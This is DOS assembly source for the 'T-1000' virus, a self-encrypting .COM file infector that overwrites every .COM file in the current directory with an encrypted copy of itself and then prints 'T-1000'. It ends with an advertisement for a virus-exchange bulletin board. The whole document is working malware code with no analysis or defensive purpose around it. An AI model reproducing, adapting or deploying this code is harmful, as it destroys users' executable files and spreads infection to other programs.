; ; T-1000 Virus ; ; This virus is a Non-Resident Overwriting Self-Encrypting .COM File Inctector. ; When an infected program is started, the virus will infect all files in the ; current directory and use the time counter for its encryption. It displays ; the text "T-1000" when it is ready infecting. Code Segment para 'code' Assume Cs:Code,Ds:Code Length Equ Offset EndByte-Offset Main Org 100h Main: Mov Si,Offset Decrypt Mov Di,Si Mov Cl,Offset EndByte-Offset Decrypt On2: Lodsb Db 34h Crypt Db 0 Stosb Dec Cl Cmp Cl,0ffh Jne On2 Decrypt: Mov Ah,4eh Push Ax Encr: Mov Ah,2ch Int 21h Mov Crypt,Dl Mov Si,Offset Decrypt Mov Di,Offset EndByte+10 Mov Cx,Offset EndByte-Offset Decrypt On3: Lodsb Xor Al,Crypt Stosb Dec Cx Cmp Cx,0ffffh Jne On3 Pop Ax On1: Xor Cx,Cx Mov Dx,Offset Nam Int 21h Jc Einde Mov Ax,3d01h Mov Dx,9eh Int 21h Mov Bx,Ax Mov Ah,40h Push Ax Mov Cx,Offset Decrypt-Offset Main Mov Dx,Offset Main Int 21h Pop Ax Mov Cx,Offset EndByte-Offset Decrypt Mov Dx,Offset EndByte+10 Int 21h Mov Ah,3eh Int 21h Mov Ah,4fh Push Ax Jmp Short Encr Einde: Mov Ah,9 Mov Dx,Offset Msg Push Cs Pop Ds Int 21h Int 20h Msg Db 'T-1000$' Nam Db '*.Com',0 EndByte Db 0 Code Ends End Main ; ������������������������������������������������������������������������� ; ��������������������> and Remember Don't Forget to Call <���������������� ; ������������> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <���������� ; �������������������������������������������������������������������������